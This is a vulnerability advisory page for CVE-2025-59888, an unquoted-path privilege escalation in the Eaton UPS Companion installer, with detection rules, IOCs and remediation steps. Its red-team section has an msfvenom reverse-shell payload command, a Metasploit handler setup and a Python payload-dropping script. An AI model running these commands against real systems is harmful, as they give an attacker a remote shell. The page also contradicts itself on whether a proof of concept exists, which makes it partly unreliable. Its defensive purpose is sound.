CVE-2025-59888
Executive Summary
CVE-2025-59888 is a high-severity (CVSS 6.7) local privilege escalation vulnerability in the Eaton UPS Companion (EUC) software installer. The vulnerability stems from improper quotation in search paths (CWE-428), which allows an attacker with file system access to execute arbitrary code by placing a malicious executable in a path that the installer searches before the intended location. This is a classic unquoted service path vulnerability, but in the context of an installer, it can lead to arbitrary code execution during installation or update processes. The vendor has released a fix in the latest version of EUC, available on the Eaton download center. No public proof-of-concept (PoC) or exploit code has been identified at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a software installer vulnerability for a Windows-based application (Eaton UPS Companion). The risk is primarily to end-user systems where the installer is executed, not to software supply chain components.
CVSS Breakdown & Threat Level
- CVSS Score: 6.7 (Medium)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – The attacker needs low privileges (e.g., standard user).
- User Interaction (UI): None (N) – No user action required beyond the attacker's own actions.
- Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full system modification possible.
- Availability (A): High (H) – Full denial of service possible.
Threat Level: Medium. While the CVSS score is 6.7, the requirement for local access and low privileges reduces the immediate threat. However, in enterprise environments where users have local admin rights or where the installer is deployed via group policy, the impact can be significant.
Deep Dive & Mechanics
The vulnerability is a classic unquoted service path issue (CWE-428) applied to the installer's search paths. When the Eaton UPS Companion installer is executed, it searches for certain files (e.g., DLLs, executables) in a specific order. If the path to these files contains spaces and is not enclosed in quotation marks, Windows will interpret each space-separated segment as a potential executable.
For example, if the installer attempts to execute a file located at C:\Program Files\Eaton\UPS Companion\installer.exe, and the path is not quoted, Windows will first try to execute C:\Program.exe, then C:\Program Files\Eaton\UPS.exe, and so on. An attacker with write access to any of these intermediate directories (e.g., C:\Program Files\Eaton\) can place a malicious executable named UPS.exe (or similar) that will be executed with the privileges of the installer (typically SYSTEM or high-integrity).
The attack flow:
- Attacker gains low-privilege access to the target system.
- Attacker identifies a writable directory that is part of an unquoted search path used by the Eaton installer.
- Attacker places a malicious executable (e.g.,
UPS.exe) in that directory. - The Eaton installer is triggered (either by the user or via a scheduled task/update).
- Windows resolves the unquoted path, finds the malicious executable, and executes it with elevated privileges.
- The attacker's code runs with high integrity, allowing full system compromise.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The installer likely uses a command like:
CreateProcess("C:\Program Files\Eaton\UPS Companion\installer.exe", ...)
or a similar API call without quoting the path. This is a common mistake in installer scripts or custom code.
Patched Code (Conceptual): The fix involves properly quoting the path:
CreateProcess("\"C:\Program Files\Eaton\UPS Companion\installer.exe\"", ...)
or using a path without spaces (e.g., C:\Eaton\UPSCompanion\installer.exe).
Since no specific code is provided, this is a best-practice remediation.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Local access to a Windows system with low privileges (e.g., standard user).
- The Eaton UPS Companion installer (vulnerable version) must be present or scheduled to run.
- Write access to a directory in the unquoted path (e.g.,
C:\Program Files\Eaton\).
Exploitation Steps:
Identify the vulnerable path: Use Process Monitor (Procmon) or a simple script to find unquoted paths in the installer's execution.
Create a malicious executable: Generate a payload that escalates privileges or creates a backdoor. Example using msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o UPS.exePlace the payload: Copy
UPS.exeto the writable directory (e.g.,C:\Program Files\Eaton\).Trigger the installer: Either wait for the user to run the installer or trigger it via a scheduled task (if one exists).
Receive the shell:
msfconsole -q use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit
Automated Exploit (Conceptual):
import os
import shutil
# Assuming the vulnerable path is C:\Program Files\Eaton\UPS Companion\
# and the attacker has write access to C:\Program Files\Eaton\
payload_path = "C:\\Program Files\\Eaton\\UPS.exe"
malicious_exe = "payload.exe" # Your compiled payload
if os.access("C:\\Program Files\\Eaton\\", os.W_OK):
shutil.copy(malicious_exe, payload_path)
print("Payload placed. Waiting for installer execution...")
else:
print("No write access to target directory.")
Blue Team (Detection & Defense)
Detection:
- Monitor for file creation events in
C:\Program Files\Eaton\and subdirectories. - Alert on any executable named
UPS.exe,Companion.exe, or similar that is not the legitimate Eaton binary. - Use Sysmon Event ID 1 (Process Creation) to detect execution of binaries from unusual paths.
Defense:
- Apply the latest Eaton UPS Companion patch immediately.
- Restrict write permissions to
C:\Program Files\and subdirectories for standard users. - Use Application Control (e.g., AppLocker, WDAC) to block execution from non-standard paths.
- Enable Windows Defender Exploit Guard to mitigate unquoted path attacks.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | C:\Program Files\Eaton\UPS.exe |
Malicious executable placed in the unquoted path |
| File | C:\Program Files\Eaton\Companion.exe |
Alternative malicious executable name |
| Process | UPS.exe (from non-standard path) |
Execution of a binary named UPS.exe from a directory other than the legitimate installer |
| Registry | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Eaton UPS Companion |
Modified installer path |
| Network | Outbound connection to attacker IP on port 4444 (or other) | Reverse shell from malicious payload |
Detection Engineering
YARA Rule
rule CVE_2025_59888_Eaton_Unquoted_Path
{
meta:
description = "Detects malicious executables placed in Eaton UPS Companion unquoted path"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59888"
hash = "unknown"
strings:
$s1 = "UPS.exe" nocase
$s2 = "Companion.exe" nocase
$s3 = "C:\\Program Files\\Eaton\\" nocase
condition:
(uint16(0) == 0x5A4D) and // MZ header
(($s1 or $s2) and $s3)
}
Sigma Rule
title: CVE-2025-59888 - Eaton UPS Companion Unquoted Path Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of binaries from the Eaton UPS Companion unquoted path
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-59888
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\UPS.exe'
- '\Companion.exe'
Image|startswith:
- 'C:\Program Files\Eaton\'
filter:
Image|contains:
- 'C:\Program Files\Eaton\UPS Companion\'
condition: selection and not filter
falsepositives:
- Legitimate Eaton updates if placed in the wrong directory
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-59888 - Eaton UPS Companion Potential C2 Beacon"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:trojan-activity; sid:1000001; rev:1;)
Note: This is a generic C2 detection rule. For specific exploitation, monitor for outbound connections from processes named UPS.exe or Companion.exe.
Remediation & Mitigation
Immediate Actions:
- Patch: Download and install the latest version of Eaton UPS Companion from the Eaton download center.
- Verify: After patching, check that the installer path is properly quoted (e.g., using Process Monitor).
- Restrict Permissions: Ensure standard users do not have write access to
C:\Program Files\Eaton\or any subdirectories.
Long-Term Mitigations:
- Implement Application Control (AppLocker, WDAC) to only allow execution from trusted paths.
- Use Group Policy to enforce strict file system permissions.
- Regularly audit software installers for unquoted path vulnerabilities.
- Monitor for CVE-2025-59888 related IOCs using the provided detection rules.
Workaround (if patching is not immediately possible):
- Manually quote the path in the installer's configuration or script (if accessible).
- Remove write permissions for non-admin users on all directories in the search path.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.